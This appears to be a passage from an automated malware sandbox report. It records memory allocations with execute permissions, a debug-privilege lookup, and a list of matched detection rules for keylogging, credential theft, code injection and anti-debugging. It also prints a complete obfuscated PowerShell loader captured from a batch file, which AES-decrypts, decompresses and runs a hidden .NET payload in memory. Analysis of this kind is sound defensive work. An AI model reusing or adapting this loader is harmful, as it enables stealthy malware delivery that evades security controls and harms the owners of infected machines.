stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05130000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05131000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05132000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05133000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05134000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Steal credential rule local_credential_Steal
description Match Windows Http API call rule Str_Win32_Http_API
description Communications over P2P network rule Network_P2P_Win
description Match Windows Inet API call rule Str_Win32_Internet_API
description Escalate priviledges rule Escalate_priviledges
description File Downloader rule Network_Downloader
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description Take ScreenShot rule ScreenShot
cmdline "Oilio.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $urZHd = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\test22\AppData\Local\Temp\Oilio.bat').Split([Environment]::NewLine);foreach ($EFnMC in $urZHd) { if ($EFnMC.StartsWith(':: ')) { $OGzOA = $EFnMC.Substring(3); break; }; };$yIUDK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OGzOA);$aswXm = New-Object System.Security.Cryptography.AesManaged;$aswXm.Mode = [System.Security.Cryptography.CipherMode]::CBC;$aswXm.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$aswXm.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qneMroGqjggrncG0xD1xcKiXSXA85XDHECir8urE1+M=');$aswXm.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gcQez9Zv7eaIgRi2zxpN+A==');$kfDyP = $aswXm.CreateDecryptor();$yIUDK = $kfDyP.TransformFinalBlock($yIUDK, 0, $yIUDK.Length);$kfDyP.Dispose();$aswXm.Dispose();$OJbGi = New-Object System.IO.MemoryStream(, $yIUDK);$hPrzb = New-Object System.IO.MemoryStream;$aoQdl = New-Object System.IO.Compression.GZipStream($OJbGi, [IO.Compression.CompressionMode]::Decompress);$aoQdl.CopyTo($hPrzb);$aoQdl.Dispose();$OJbGi.Dispose();$hPrzb.Dispose();$yIUDK = $hPrzb.ToArray();$VVTzl = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($yIUDK);$yWkXW = $VVTzl.EntryPoint;$sdfweweefsd_var = $qwwfefdsf_var.EntryPoint;$sdfwewewefefsd_var = $qwwfefwefdsweff_var.EntryPoint;$sdfwewwefeefsd_var = $qwwfefwfwefwefdsf_var.EntryPoint;$sdfwewwefwefeefsd_var = $qwwfwwefefefdsf_var.EntryPoint;$sdfwewwfewefefsd_var = $qwwfefwefwefdsf_var.EntryPoint;$sdfwewfwqwefefefsd_var = $qwwfeweffwefdsf_var.EntryPoint;$sdfwewwfewfeefsd_var = $qwwfewfwefefdsf_var.EntryPoint;$sdfwewefwwfeefsd_var = $qwwfefwwfefdsf_var.EntryPoint;$sdfwewdefweefsd_var = $qwwfewewfffdsf_var.EntryPoint;$sdfwewsewefefsd_var = $qwwfefqdwefdsf_var.EntryPoint;$sdfwwef23eweefsd_var = $qwwfwefeerwfgfdsf_var.EntryPoint;$sdfwwef23deweefsd_var = $qwwfwedfwefefdsf_var.EntryPoint;$sdfwwef23feweefsd_var = $qwwfwefeeweffgdsf_var.EntryPoint;$sdfwwef23s12eweefsd_var = $qwwfwefewfeffdsf_var.EntryPoint;$sdfwwef23wefeweefsd_var = $qwwfwefefswfdsf_var.EntryPoint;$yWkXW.Invoke($null, (, [string[]] ('')))
cmdline net file